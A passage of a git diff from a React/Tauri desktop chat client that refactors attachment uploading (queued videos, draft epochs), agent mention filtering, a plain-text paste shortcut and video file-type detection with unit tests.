     // Hold a single pending tick while the native picker is open + uploads
     // run in Rust. We don't know the file count until the dialog returns,
     // and uploads are already complete by then, so we just append each
     // descriptor when we get them back.
     const previewId = reserveUploadingPreview();
     setUploadingCount((c) => c + 1);
+    const epoch = uploadEpochRef.current;
     try {
-      const descriptors = await pickAndUploadMedia();
+      const descriptors = await pickAndUploadMedia(uploadProgressId(previewId));
       if (isUploadCanceled(previewId)) return;
       finishUpload(previewId);
+      if (isUploadStale(epoch)) return;
       for (const descriptor of descriptors) {
         nextSlotRef.current += 1;
         setImetaSlots((prev) => [...prev, descriptor]);
@@ -400,7 +679,15 @@ export function useMediaUpload() {
       if (isUploadCanceled(previewId)) return;
       onUploadError(err, previewId);
     }
-  }, [finishUpload, isUploadCanceled, onUploadError, reserveUploadingPreview]);
+  }, [
+    queueUntilSend,
+    acceptFiles,
+    finishUpload,
+    isUploadCanceled,
+    isUploadStale,
+    onUploadError,
+    reserveUploadingPreview,
+  ]);
 
   const handleDrop = React.useCallback(
     async (event: React.DragEvent<HTMLElement>) => {
@@ -412,44 +699,9 @@ export function useMediaUpload() {
 
       // Accept any file type. The Tauri layer and the relay enforce the
       // deny-list (active-content + executables); everything else uploads.
-      // Size is the one thing checked here rather than at the relay, so a
-      // 400 MB video is refused now instead of after the transfer.
-      const { accepted: validFiles, oversize } = partitionBySize(files);
-      reportOversize(oversize.length);
-      if (validFiles.length === 0) return;
-
-      setUploadingCount((c) => c + validFiles.length);
-      const baseIndex = reserveSlots(validFiles.length);
-
-      for (let i = 0; i < validFiles.length; i++) {
-        const file = validFiles[i];
-        const slotIndex = baseIndex + i;
-        const previewId = reserveUploadingPreview(file, slotIndex);
-        // Fire-and-forget each upload concurrently — slot preserves order
-        (async () => {
-          try {
-            const buffer = await file.arrayBuffer();
-            if (isUploadCanceled(previewId)) return;
-            const descriptor = await uploadMediaBytes(
-              [...new Uint8Array(buffer)],
-              file.name,
-              uploadProgressId(previewId),
-            );
-            fillSlot(slotIndex, descriptor, previewId);
-          } catch (err) {
-            onUploadError(err, previewId);
-          }
-        })();
-      }
+      acceptFiles(files);
     },
-    [
-      reserveSlots,
-      fillSlot,
-      isUploadCanceled,
-      onUploadError,
-      reportOversize,
-      reserveUploadingPreview,
-    ],
+    [acceptFiles],
   );
 
   const handleDragEnter = React.useCallback(
@@ -517,72 +769,41 @@ export function useMediaUpload() {
 
       event.preventDefault();
 
-      const { accepted: mediaFiles, oversize } = partitionBySize(pastedFiles);
-      reportOversize(oversize.length);
-      if (mediaFiles.length === 0) return;
-
-      setUploadingCount((c) => c + mediaFiles.length);
-      const baseIndex = reserveSlots(mediaFiles.length);
-
-      for (let i = 0; i < mediaFiles.length; i++) {
-        const file = mediaFiles[i];
-        const slotIndex = baseIndex + i;
-        const previewId = reserveUploadingPreview(file, slotIndex);
-        (async () => {
-          try {
-            const buffer = await file.arrayBuffer();
-            if (isUploadCanceled(previewId)) return;
-            const descriptor = await uploadMediaBytes(
-              [...new Uint8Array(buffer)],
-              file.name,
-              uploadProgressId(previewId),
-            );
-            fillSlot(slotIndex, descriptor, previewId);
-          } catch (err) {
-            onUploadError(err, previewId);
-          }
-        })();
-      }
+      acceptFiles(pastedFiles);
     },
-    [
-      reserveSlots,
-      fillSlot,
-      isUploadCanceled,
-      onUploadError,
-      reportOversize,
-      reserveUploadingPreview,
-    ],
+    [acceptFiles],
   );
 
   /** Upload a File directly — used by Tiptap's editorProps.handlePaste. */
   const uploadFile = React.useCallback(
     async (file: File) => {
-      const { oversize } = partitionBySize([file]);
-      if (oversize.length > 0) {
-        reportOversize(oversize.length);
+      if (partitionBySize([file]).oversize.length > 0) {
+        setUploadState({ status: "error", message: MEDIA_TOO_LARGE_MESSAGE });
+        return;
+      }
+      if (shouldQueueFile(file)) {
+        queueFiles([file]);
         return;
       }
       const previewId = reserveUploadingPreview(file);
       setUploadingCount((c) => c + 1);
+      const epoch = uploadEpochRef.current;
       try {
-        const buffer = await file.arrayBuffer();
-        if (isUploadCanceled(previewId)) return;
-        const descriptor = await uploadMediaBytes(
-          [...new Uint8Array(buffer)],
-          file.name,
+        const descriptor = await uploadMediaFile(
+          file,
           uploadProgressId(previewId),
         );
-        onUploaded(descriptor, previewId);
+        onUploaded(descriptor, previewId, epoch);
       } catch (err) {
         onUploadError(err, previewId);
       }
     },
     [
-      isUploadCanceled,
       onUploaded,
       onUploadError,
-      reportOversize,
+      queueFiles,
       reserveUploadingPreview,
+      shouldQueueFile,
     ],
   );
 
@@ -667,21 +888,55 @@ export function useMediaUpload() {
   /** Public setter — replaces all slots (used by MessageComposer to clear/restore). */
   const setPendingImeta = React.useCallback(
     (action: React.SetStateAction<BlobDescriptor[]>) => {
+      // A wholesale replacement means the composer's contents were swapped out
+      // from under any in-flight upload: draft/channel switch, post-send clear,
+      // or edit-target restore. Bump the epoch so those uploads discard their
+      // results instead of landing in (or overwriting a slot reserved by) the
+      // draft that is now on screen. The updater form is an append against the
+      // *current* draft (e.g. agent-snapshot paste), so it must NOT bump.
+      if (typeof action !== "function") {
+        beginNewDraftEpoch();
+        setImetaSlots(() => {
+          nextSlotRef.current = action.length;
+          return action;
+        });
+        return;
+      }
       setImetaSlots((prev) => {
-        const current = prev.filter((d): d is BlobDescriptor => d !== null);
-        const next = typeof action === "function" ? action(current) : action;
-        nextSlotRef.current = next.length;
-        return next;
+        const result = applyImetaUpdate(prev, action);
+        nextSlotRef.current = result.length;
+        return result;
       });
     },
-    [],
+    [beginNewDraftEpoch],
   );
 
+  /**
+   * True while any attachment upload is in flight.
+   *
+   * Send paths must gate on this: with `deferUploadsUntilSend`, only videos
+   * are queued locally, so an in-flight photo/file is in neither
+   * `pendingImeta` nor `queuedAttachments`. Sending mid-flight would publish
+   * the message without that attachment and land the descriptor in an
+   * already-cleared composer.
+   */
   const isUploading = uploadingCount > 0;
+  const queuedPreviews = React.useMemo<UploadingAttachmentPreview[]>(
+    () =>
+      queuedAttachments.map((attachment) => ({
+        filename: attachment.file.name,
+        id: attachment.id,
+        posterUrl: attachment.previewUrl,
+        spoilered: attachment.spoilered,
+        type: videoMimeForFile(attachment.file) ?? attachment.file.type,
+      })),
+    [queuedAttachments],
+  );
 
   return React.useMemo(
     () => ({
       cancelUpload,
+      clearQueuedAttachments,
       handleDragEnter,
       handleDragLeave,
       handleDragOver,
@@ -693,10 +948,16 @@ export function useMediaUpload() {
       originalUrlByUrl,
       pendingImeta,
       pendingImetaRef,
+      queuedAttachments,
+      queuedAttachmentsRef,
+      queuedPreviews,
       removeAttachment,
+      removeQueuedAttachment,
+      restoreQueuedAttachments,
       revertAttachment,
       setPendingImeta,
       setUploadState,
+      toggleQueuedAttachmentSpoiler,
       uploadEditedAttachment,
       uploadFile,
       uploadingCount,
@@ -705,6 +966,7 @@ export function useMediaUpload() {
     }),
     [
       cancelUpload,
+      clearQueuedAttachments,
       handleDragEnter,
       handleDragLeave,
       handleDragOver,
@@ -715,9 +977,14 @@ export function useMediaUpload() {
       isUploading,
       originalUrlByUrl,
       pendingImeta,
+      queuedAttachments,
+      queuedPreviews,
       removeAttachment,
+      removeQueuedAttachment,
+      restoreQueuedAttachments,
       revertAttachment,
       setPendingImeta,
+      toggleQueuedAttachmentSpoiler,
       uploadEditedAttachment,
       uploadFile,
       uploadingCount,
diff --git a/desktop/src/features/messages/lib/useMentions.ts b/desktop/src/features/messages/lib/useMentions.ts
index bf8e4b283d..cd52b1bebf 100644
--- a/desktop/src/features/messages/lib/useMentions.ts
+++ b/desktop/src/features/messages/lib/useMentions.ts
@@ -14,10 +14,13 @@ import type { MentionSuggestion } from "@/features/messages/ui/MentionAutocomple
 import {
   coalesceAgentAutocompleteCandidates,
   coalesceAutocompleteCandidatesByKey,
+  filterCachedAgentSuggestions,
   getMentionableAgentPubkeys,
   getSharedChannelIds,
-  isAgentIdentityDiscoverable,
+  isAgentIdentityInAllowedList,
+  isAgentMentionChannelType,
   shouldHideAgentFromMentions,
+  uniqueAutocompleteLabels,
 } from "@/features/agents/lib/agentAutocompleteEligibility";
 import {
   useInfiniteUserSearchQuery,
@@ -93,7 +96,6 @@ export function useMentions(
   const mentionMapRef = React.useRef<Map<string, string>>(new Map());
   const personaMentionMapRef = React.useRef<Map<string, string>>(new Map());
   const previousSuggestionsRef = React.useRef<MentionSuggestion[]>([]);
-  void options?.channelType;
   const mentionSearchQuery = mentionQuery?.trim() ?? "";
   const canSearchGlobalPeople = mentionSearchQuery.length > 0;
   const identityQuery = useIdentityQuery();
@@ -179,14 +181,29 @@ export function useMentions(
       ),
     [relayAgentsQuery.data],
   );
+  const directoryAgentPubkeys = React.useMemo(
+    () =>
+      new Set(
+        (relayAgentsQuery.data ?? []).map((agent) =>
+          normalizePubkey(agent.pubkey),
+        ),
+      ),
+    [relayAgentsQuery.data],
+  );
   const sharedChannelIds = React.useMemo(
     () => getSharedChannelIds(channelsQuery.data),
     [channelsQuery.data],
   );
+  const mentionChannelId = isAgentMentionChannelType(options?.channelType)
+    ? channelId
+    : null;
   const mentionableAgentPubkeys = React.useMemo(
     () =>
       getMentionableAgentPubkeys({
         currentPubkey,
+        eligibilityScope: mentionChannelId
+          ? { type: "channel", channelId: mentionChannelId }
+          : { type: "managed-only" },
         managedAgentPubkeys,
         relayAgents: relayAgentsQuery.data,
         sharedChannelIds,
@@ -194,6 +211,7 @@ export function useMentions(
     [
       currentPubkey,
       managedAgentPubkeys,
+      mentionChannelId,
       relayAgentsQuery.data,
       sharedChannelIds,
     ],
@@ -237,7 +255,7 @@ export function useMentions(
       if (isArchivedDiscovery(pubkey)) {
         return;
       }
-      if (!isAgentIdentityDiscoverable(candidate, managedAgentPubkeys)) {
+      if (!isAgentIdentityInAllowedList(candidate, mentionableAgentPubkeys)) {
         return;
       }
       if (
@@ -246,6 +264,7 @@ export function useMentions(
           isMember: candidate.isMember === true,
           pubkey,
           mentionableAgentPubkeys,
+          directoryAgentPubkeys,
         })
       ) {
         return;
@@ -405,11 +424,11 @@ export function useMentions(
     userSearchResults,
     canSearchGlobalUsers,
     currentPubkey,
+    directoryAgentPubkeys,
     isArchivedDiscovery,
     managedAgentNamesByPubkey,
     managedAgentPersonaIds,
     managedAgentPersonaIdsByPubkey,
-    managedAgentPubkeys,
     managedAgentsQuery.data,
     memberPubkeys,
     members,
@@ -446,26 +465,10 @@ export function useMentions(
     enabled: ownerPubkeys.length > 0,
   });
 
-  const searchableNames = React.useMemo<string[]>(() => {
-    const names: string[] = [];
-    const seen = new Set<string>();
-
-    for (const candidate of mentionCandidatesWithTeams) {
-      for (const name of [
-        candidate.displayName,
-        candidate.personaName,
-        candidate.secondaryLabel,
-      ]) {
-        const trimmed = name?.trim();
-        if (trimmed && !seen.has(trimmed.toLowerCase())) {
-          names.push(trimmed);
-          seen.add(trimmed.toLowerCase());
-        }
-      }
-    }
-
-    return names;
-  }, [mentionCandidatesWithTeams]);
+  const searchableNames = React.useMemo(
+    () => uniqueAutocompleteLabels(mentionCandidatesWithTeams),
+    [mentionCandidatesWithTeams],
+  );
 
   const highlightNames = React.useMemo<string[]>(() => {
     const names: string[] = [];
@@ -569,11 +572,19 @@ export function useMentions(
     }
 
     if (userSearchQuery.isFetching) {
-      return previousSuggestionsRef.current;
+      return filterCachedAgentSuggestions(
+        previousSuggestionsRef.current,
+        mentionCandidatesWithTeams,
+      );
     }
 
     return [];
-  }, [matchingSuggestions, mentionQuery, userSearchQuery.isFetching]);
+  }, [
+    matchingSuggestions,
+    mentionCandidatesWithTeams,
+    mentionQuery,
+    userSearchQuery.isFetching,
+  ]);
 
   React.useEffect(() => {
     if (mentionQuery === null) {
diff --git a/desktop/src/features/messages/lib/useRichTextEditor.ts b/desktop/src/features/messages/lib/useRichTextEditor.ts
index 4fee2db46f..c761081cc3 100644
--- a/desktop/src/features/messages/lib/useRichTextEditor.ts
+++ b/desktop/src/features/messages/lib/useRichTextEditor.ts
@@ -9,6 +9,7 @@ import { Extension, type KeyboardShortcutCommand } from "@tiptap/core";
 import { Plugin, Selection, TextSelection } from "@tiptap/pm/state";
 import type { ResolvedPos } from "@tiptap/pm/model";
 
+import { readTextFromSystemClipboard } from "@/shared/api/tauriMedia";
 import {
   hasPrimaryShortcutModifier,
   isMacPlatform,
@@ -532,6 +533,39 @@ export function useRichTextEditor({
             return true;
           }
 
+          // Cmd+Shift+V / Ctrl+Shift+V → paste the clipboard's plain-text
+          // representation. Embedded webviews permission-gate the browser
+          // clipboard API differently across operating systems, so packaged
+          // builds read through the native arboard command. Browser builds use
+          // navigator.clipboard as a fallback. Feed the result through
+          // ProseMirror's paste pipeline with clipboardData populated so its
+          // plain-text observers keep normal paste behavior.
+          if (
+            event.key.toLowerCase() === "v" &&
+            hasPrimaryShortcutModifier(event) &&
+            event.shiftKey &&
+            !event.altKey &&
+            !event.repeat &&
+            !event.isComposing
+          ) {
+            event.preventDefault();
+            void readTextFromSystemClipboard()
+              .then((text) => {
+                const clipboardData = new DataTransfer();
+                clipboardData.setData("text/plain", text);
+                view.pasteText(
+                  text,
+                  new ClipboardEvent("paste", { clipboardData }),
+                );
+              })
+              .catch(() => {
+                // The key is already consumed. Letting a delayed native paste
+                // race the asynchronous read could duplicate or unexpectedly
+                // format content.
+              });
+            return true;
+          }
+
           // ⌘K / Ctrl+K → link editor. The formatting toolbar has always
           // advertised this shortcut on its link button; bind it here so it
           // actually works. Kept alongside the ArrowUp handling below rather
diff --git a/desktop/src/features/messages/lib/videoFileType.test.mjs b/desktop/src/features/messages/lib/videoFileType.test.mjs
new file mode 100644
index 0000000000..4d4636c9e7
--- /dev/null
+++ b/desktop/src/features/messages/lib/videoFileType.test.mjs
@@ -0,0 +1,106 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { isVideoFile, videoMimeForFile } from "./videoFileType.ts";
+
+// ── MIME type is authoritative when present ───────────────────────────
+
+test("a video MIME type is detected as a video", () => {
+  assert.equal(isVideoFile({ name: "clip.mp4", type: "video/mp4" }), true);
+  assert.equal(
+    videoMimeForFile({ name: "clip.mp4", type: "video/mp4" }),
+    "video/mp4",
+  );
+});
+
+test("an uppercase video MIME type is normalized", () => {
+  assert.equal(
+    videoMimeForFile({ name: "clip.MOV", type: "VIDEO/QUICKTIME" }),
+    "video/quicktime",
+  );
+});
+
+test("a non-video MIME type wins over a video extension", () => {
+  // A GIF misnamed `.mp4` is still an image — never queue it as a video.
+  assert.equal(isVideoFile({ name: "loop.mp4", type: "image/gif" }), false);
+  assert.equal(
+    videoMimeForFile({ name: "loop.mp4", type: "image/gif" }),
+    undefined,
+  );
+});
+
+test("an image is not a video", () => {
+  assert.equal(isVideoFile({ name: "photo.png", type: "image/png" }), false);
+});
+
+// ── Extension fallback when the MIME type is missing or opaque ────────
+
+test("an empty MIME type falls back to the filename extension", () => {
+  assert.equal(isVideoFile({ name: "clip.mp4", type: "" }), true);
+  assert.equal(videoMimeForFile({ name: "clip.mp4", type: "" }), "video/mp4");
+});
+
+test("an absent MIME type falls back to the filename extension", () => {
+  assert.equal(videoMimeForFile({ name: "clip.webm" }), "video/webm");
+});
+
+test("an octet-stream MIME type falls back to the filename extension", () => {
+  assert.equal(
+    videoMimeForFile({ name: "clip.mov", type: "application/octet-stream" }),
+    "video/quicktime",
+  );
+  assert.equal(
+    videoMimeForFile({ name: "clip.mkv", type: "binary/octet-stream" }),
+    "video/x-matroska",
+  );
+});
+
+test("every supported video extension is recognized without a MIME type", () => {
+  for (const [extension, mime] of [
+    ["avi", "video/x-msvideo"],
+    ["m4v", "video/mp4"],
+    ["mkv", "video/x-matroska"],
+    ["mov", "video/quicktime"],
+    ["mp4", "video/mp4"],
+    ["webm", "video/webm"],
+  ]) {
+    assert.equal(
+      videoMimeForFile({ name: `clip.${extension}`, type: "" }),
+      mime,
+    );
+  }
+});
+
+test("extension matching is case-insensitive", () => {
+  assert.equal(videoMimeForFile({ name: "CLIP.MP4", type: "" }), "video/mp4");
+});
+
+test("a non-video extension with no MIME type is not a video", () => {
+  assert.equal(isVideoFile({ name: "notes.txt", type: "" }), false);
+  assert.equal(
+    isVideoFile({ name: "archive.zip", type: "application/octet-stream" }),
+    false,
+  );
+});
+
+test("an extensionless file with no MIME type is not a video", () => {
+  assert.equal(isVideoFile({ name: "clip", type: "" }), false);
+  assert.equal(isVideoFile({ type: "" }), false);
+});
+
+test("a dotfile is not treated as having an extension", () => {
+  // `.mp4` as an entire basename is a hidden file, not an mp4 named "".
+  assert.equal(isVideoFile({ name: ".mp4", type: "" }), false);
+});
+
+test("a trailing dot is not treated as an extension", () => {
+  assert.equal(isVideoFile({ name: "clip.", type: "" }), false);
+});
+
+test("only the last extension is consulted", () => {
+  assert.equal(videoMimeForFile({ name: "clip.mp4.txt", type: "" }), undefined);
+  assert.equal(
+    videoMimeForFile({ name: "notes.txt.mp4", type: "" }),
+    "video/mp4",
+  );
+});
diff --git a/desktop/src/features/messages/lib/videoFileType.ts b/desktop/src/features/messages/lib/videoFileType.ts
new file mode 100644
index 0000000000..87d663eb0b
--- /dev/null
+++ b/desktop/src/features/messages/lib/videoFileType.ts
@@ -0,0 +1,71 @@
+/**
+ * Video detection for composer attachments, kept DOM-free so the branch logic
+ * is unit-testable without a webview.
+ *
+ * The deferred-upload split routes videos to the queued/background path and
+ * everything else to an immediate foreground upload, so this predicate decides
+ * which path a file takes. A MIME-only check is not enough: file-picker,
+ * drag/drop, and clipboard `File` objects can arrive with an empty or generic
+ * `application/octet-stream` type for perfectly valid videos (no OS MIME
+ * database entry, network shares, some Linux desktops), and those videos would
+ * otherwise upload in the foreground and block Send until the transcode
+ * finishes.
+ *
+ * A concrete MIME type stays authoritative — `image/gif` named `clip.mp4` is
+ * an image. The filename extension is consulted only when the MIME type tells
+ * us nothing.
+ */
+
+/** Extension → MIME, used only when a file carries no usable MIME type. */
+const VIDEO_MIME_BY_EXTENSION = new Map([
+  ["avi", "video/x-msvideo"],
+  ["m4v", "video/mp4"],
+  ["mkv", "video/x-matroska"],
+  ["mov", "video/quicktime"],
+  ["mp4", "video/mp4"],
+  ["webm", "video/webm"],
+]);
+
+/** MIME types that carry no format information — treat as "unknown". */
+const OPAQUE_MIME_TYPES = new Set([
+  "application/octet-stream",
+  "binary/octet-stream",
+]);
+
+function isUsableMimeType(type: string | undefined): boolean {
+  if (!type) return false;
+  return !OPAQUE_MIME_TYPES.has(type.toLowerCase());
+}
+
+/** The lowercased extension of a filename, or undefined when it has none. */
+function filenameExtension(filename: string | undefined): string | undefined {
+  if (!filename) return undefined;
+  const lastDot = filename.lastIndexOf(".");
+  if (lastDot <= 0 || lastDot === filename.length - 1) return undefined;
+  return filename.slice(lastDot + 1).toLowerCase();
+}
+
+type VideoFileCandidate = {
+  name?: string;
+  type?: string;
+};
+
+/**
+ * The video MIME type to use for `file`, or undefined when it is not a video.
+ *
+ * Returns the file's own MIME type when it is a usable `video/*` type, and
+ * otherwise falls back to an extension-derived type for files whose MIME is
+ * missing or opaque.
+ */
+export function videoMimeForFile(file: VideoFileCandidate): string | undefined {
+  const type = file.type?.toLowerCase();
+  if (isUsableMimeType(type)) {
+    return type?.startsWith("video/") ? type : undefined;
+  }
+  return VIDEO_MIME_BY_EXTENSION.get(filenameExtension(file.name) ?? "");
+}
+
+/** Whether `file` should be treated as a video by the composer. */
+export function isVideoFile(file: VideoFileCandidate): boolean {
+  return videoMimeForFile(file) !== undefined;
+}
diff --git a/desktop/src/features/messages/lib/virtualizedTimelineItems.test.mjs b/desktop/src/features/messages/lib/virtualizedTimelineItems.test.mjs
index fbfad321e2..daae41a786 100644
--- a/desktop/src/features/messages/lib/virtualizedTimelineItems.test.mjs
+++ b/desktop/src/features/messages/lib/virtualizedTimelineItems.test.mjs
@@ -221,7 +221,7 @@ test("virtualized rows preserve their heterogeneous height estimates", () => {
   );
   const estimates = items.map(estimateVirtualizedTimelineItemHeight);
 
-  assert.equal(estimates[0], 32);
+  assert.equal(estimates[0], 56);
   assert.ok(estimates[2] > estimates[1] + 200);
   assert.equal(estimates.at(-1), 96);
 });
diff --git a/desktop/src/features/messages/lib/virtualizedTimelineItems.ts b/desktop/src/features/messages/lib/virtualizedTimelineItems.ts
index 806d96b93c..1ab68af181 100644
--- a/desktop/src/features/messages/lib/virtualizedTimelineItems.ts
+++ b/desktop/src/features/messages/lib/virtualizedTimelineItems.ts
@@ -32,7 +32,7 @@ export function estimateVirtualizedTimelineItemHeight(
 ): number {
   if (item.kind === "bottom-spacer") return 96;
   if (item.kind === "leading-content") return 60;
-  if (item.kind === "day-divider") return 32;
+  if (item.kind === "day-divider") return 56;
   return estimateTimelineItemHeight(item.item);
 }
 
@@ -64,11 +64,12 @@ export function buildVirtualizedItems(
   dayGroups: readonly TimelineDayGroup[],
   leadingContent: React.ReactNode | undefined,
   historyExhausted: boolean,
+  showDayDividers = true,
 ): VirtualizedTimelineItem[] {
   const timelineItems = dayGroups.flatMap((group, groupIndex) => {
     const boundaryProven = groupIndex > 0 || historyExhausted;
     const divider =
-      group.headingTimestamp !== null && boundaryProven
+      showDayDividers && group.headingTimestamp !== null && boundaryProven
         ? [
             {
               kind: "day-divider" as const,
diff --git a/desktop/src/features/messages/ui/ChannelIntroBlock.tsx b/desktop/src/features/messages/ui/ChannelIntroBlock.tsx
index 98300acb3e..76d1960b96 100644
--- a/desktop/src/features/messages/ui/ChannelIntroBlock.tsx
+++ b/desktop/src/features/messages/ui/ChannelIntroBlock.tsx
@@ -63,7 +63,7 @@ export function ChannelIntroBlock({
         </p>
       ) : null}
       {intro.actions?.length ? (
-        <div className="mt-4 flex max-w-full flex-nowrap gap-3 overflow-x-auto pb-1">
+        <div className="mt-4 flex max-w-full flex-nowrap gap-3 overflow-x-auto p-1">
           {intro.actions.map((action) => {
             const hasDescription = Boolean(action.description);
 
diff --git a/desktop/src/features/messages/ui/ComposerAttachments.tsx b/desktop/src/features/messages/ui/ComposerAttachments.tsx
index bee38e321c..f46336b3e9 100644
--- a/desktop/src/features/messages/ui/ComposerAttachments.tsx
+++ b/desktop/src/features/messages/ui/ComposerAttachments.tsx
@@ -5,6 +5,7 @@ import {
   Bot,
   FileText,
   HatGlasses,
+  LineSquiggle,
   Pencil,
   Play,
   UploadCloud,
@@ -36,6 +37,30 @@ import { Toggle } from "@/shared/ui/toggle";
 import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
 import { ComposerImageEditor } from "./ComposerImageEditor";
 
+/**
+ * Reveal-on-interaction for the composer's media action buttons.
+ *
+ * These stay invisible until the thumbnail is hovered, but `display: none`
+ * cannot hold focus, which would leave keyboard-only users unable to reach
+ * them at all. Hiding with `opacity-0` instead keeps them in the tab order,
+ * and `pointer-events-none` until hover/focus means a mouse behaves exactly as
+ * it did before — an invisible overlay never swallows a click. Keyboard focus
+ * and Enter are unaffected by `pointer-events`.
+ */
+const COMPOSER_MEDIA_REVEAL_CLASS =
+  "pointer-events-none opacity-0 transition-opacity group-hover:pointer-events-auto group-hover:opacity-100 group-focus-within:pointer-events-auto group-focus-within:opacity-100 focus-visible:pointer-events-auto focus-visible:opacity-100";
+
+/** Corner "remove attachment" badge on a composer thumbnail. */
+const COMPOSER_MEDIA_REMOVE_CLASS = cn(
+  "absolute -right-1 -top-1 z-10 flex h-4 w-4 items-center justify-center rounded-full bg-foreground text-background",
+  COMPOSER_MEDIA_REVEAL_CLASS,
+);
+
+const COMPOSER_MEDIA_HOVER_ACTION_CLASS = cn(
+  "absolute inset-0 z-[1] flex items-center justify-center rounded-2xl bg-black/35 text-white backdrop-blur-[1px] hover:bg-black/45",
+  COMPOSER_MEDIA_REVEAL_CLASS,
+);
+
 /** Dashed-border overlay shown when a file is dragged over the composer form. */
 export function DropZoneOverlay({ className }: { className?: string }) {
   return (
@@ -61,6 +86,12 @@ type ComposerAttachmentsProps = {
   attachments: ImetaMedia[];
   isUploading?: boolean;
   onCancelUpload?: (previewId: number) => void;
+  /** Remove a local attachment that has not started uploading yet. */
+  onRemoveQueued?: (previewId: number) => void;
+  /** Toggle spoiler state for a queued video before it receives a URL. */
+  onToggleQueuedSpoiler?: (previewId: number) => void;
+  /** Local previews that are queued for upload when the message is sent. */
+  queuedPreviews?: UploadingAttachmentPreview[];
   uploadingCount?: number;
   uploadingPreviews?: UploadingAttachmentPreview[];
   /** Upload annotated bytes as a replacement for the attachment at `url`. */
@@ -287,9 +318,13 @@ const MediaAttachmentItem = React.forwardRef<
   const handleRevert = React.useCallback(() => {
     onRevert?.(attachment.url);
   }, [attachment.url, onRevert]);
+  const handleOpenLightbox = React.useCallback(() => {
+    setOpen(true);
+  }, []);
 
   return (
     <motion.div
+      data-testid="composer-media-attachment"
       ref={ref}
       layout
       initial={false}
@@ -435,12 +470,6 @@ const MediaAttachmentItem = React.forwardRef<
                           className={cn(
                             LIGHTBOX_BUTTON_CLASS,
                             "h-auto min-w-0",
-                            // Active state driven by component state, not
-                            // Radix's data-state: the TooltipTrigger clobbers
-                            // the Toggle's data-state attribute. Swap the
-                            // circular pill for the shared button radius with
-                            // a visible ring so a spoilered attachment reads
-                            // as "selected" on the dark lightbox backdrop.
                             isSpoilered &&
                               "rounded-lg bg-white/25 text-white ring-2 ring-white",
                           )}
@@ -486,15 +515,51 @@ const MediaAttachmentItem = React.forwardRef<
         <Tooltip disableHoverableContent>
           <TooltipTrigger asChild>
             <button
+              aria-label="Remove attachment"
               type="button"
               onClick={() => onRemove(attachment.url)}
-              className="absolute -right-1 -top-1 hidden h-4 w-4 items-center justify-center rounded-full bg-foreground text-background group-hover:flex"
+              className={COMPOSER_MEDIA_REMOVE_CLASS}
             >
               <X className="h-2.5 w-2.5" />
             </button>
           </TooltipTrigger>
           <TooltipContent>Remove attachment</TooltipContent>
         </Tooltip>
+        {canEdit ? (
+          <Tooltip disableHoverableContent>
+            <TooltipTrigger asChild>
+              <button
+                className={COMPOSER_MEDIA_HOVER_ACTION_CLASS}
+                data-testid="composer-attachment-annotate"
+                onClick={handleOpenLightbox}
+                type="button"
+              >
+                <LineSquiggle className="h-5 w-5" />
+                <span className="sr-only">Draw on image</span>
+              </button>
+            </TooltipTrigger>
+            <TooltipContent>Draw on image</TooltipContent>
+          </Tooltip>
+        ) : null}
+        {isVideo && onToggleSpoiler ? (
+          <Tooltip disableHoverableContent>
+            <TooltipTrigger asChild>
+              <button
+                aria-label={isSpoilered ? "Remove spoiler" : "Mark as spoiler"}
+                aria-pressed={isSpoilered}
+                className={COMPOSER_MEDIA_HOVER_ACTION_CLASS}
+                data-testid="composer-video-spoiler"
+                onClick={() => onToggleSpoiler(attachment.url)}
+                type="button"
+              >
+                <HatGlasses className="h-5 w-5" />
+              </button>
+            </TooltipTrigger>
+            <TooltipContent>
+              {isSpoilered ? "Remove spoiler" : "Mark as spoiler"}
+            </TooltipContent>
+          </Tooltip>
+        ) : null}
       </div>
     </motion.div>
   );
@@ -511,6 +576,9 @@ export const ComposerAttachments = React.memo(function ComposerAttachments({
   uploadingCount = 0,
   uploadingPreviews = [],
   onCancelUpload,
+  onRemoveQueued,
+  onToggleQueuedSpoiler,
+  queuedPreviews = [],
   onEditSave,
   onRemove,
   onRevert,
@@ -518,7 +586,8 @@ export const ComposerAttachments = React.memo(function ComposerAttachments({
   onToggleSpoiler,
   spoileredUrls,
 }: ComposerAttachmentsProps) {
-  if (attachments.length === 0 && !isUploading) return null;
+  if (attachments.length === 0 && queuedPreviews.length === 0 && !isUploading)
+    return null;
 
   const uploadPlaceholders: UploadingAttachmentPreview[] =
     uploadingPreviews.length > 0
@@ -579,9 +648,10 @@ export const ComposerAttachments = React.memo(function ComposerAttachments({
                   <Tooltip disableHoverableContent>
                     <TooltipTrigger asChild>
                       <button
+                        aria-label="Remove attachment"
                         type="button"
                         onClick={() => onRemove(attachment.url)}
-                        className="absolute -right-1 -top-1 hidden h-4 w-4 items-center justify-center rounded-full bg-foreground text-background group-hover:flex"
+                        className={COMPOSER_MEDIA_REMOVE_CLASS}
                       >
                         <X className="h-2.5 w-2.5" />
                       </button>
@@ -609,6 +679,93 @@ export const ComposerAttachments = React.memo(function ComposerAttachments({
               />
             );
           })}
+          {queuedPreviews.map((preview) => {
+            const isVideo = preview.type?.startsWith("video/") ?? false;
+            const isMedia = preview.type?.startsWith("image/") || isVideo;
+            return (
+              <motion.div
+                animate={{ opacity: 1, scale: 1 }}
+                className="group relative"
+                data-testid="composer-queued-media-attachment"
+                exit={{ opacity: 0, scale: 0.8 }}
+                initial={{ opacity: 0, scale: 0.8 }}
+                key={`queued-attachment-${preview.id}`}
+                layout
+                transition={{ type: "spring", stiffness: 500, damping: 30 }}
+              >
+                {isMedia ? (
+                  <div
+                    className="relative h-[55px] max-w-[55px]"
+                    style={composerMediaStyle()}
+                  >
+                    <div className="h-full w-full overflow-hidden rounded-2xl border border-border/70 bg-muted">
+                      {preview.posterUrl ? (
+                        <img
+                          alt={preview.filename ?? "Queued attachment"}
+                          className="h-full w-full object-cover"
+                          src={preview.posterUrl}
+                        />
+                      ) : (
+                        <div className="flex h-full w-full items-center justify-center text-muted-foreground">
+                          <Play className="size-5" />
+                        </div>
+                      )}
+                    </div>
+                    {preview.spoilered ? (
+                      <div className="pointer-events-none absolute inset-0 flex items-center justify-center rounded-2xl bg-background/55 text-foreground/70 backdrop-blur-[1px]">
+                        <HatGlasses className="h-4 w-4" />
+                      </div>
+                    ) : null}
+                  </div>
+                ) : (
+                  <div className="flex h-5 max-w-40 items-center gap-1 rounded border border-border/70 bg-muted px-1.5">
+                    <FileText className="h-4 w-4 shrink-0 text-muted-foreground" />
+                    <span className="truncate text-2xs text-muted-foreground">
+                      {preview.filename ?? "Attachment"}
+                    </span>
+                  </div>
+                )}
+                {onRemoveQueued ? (
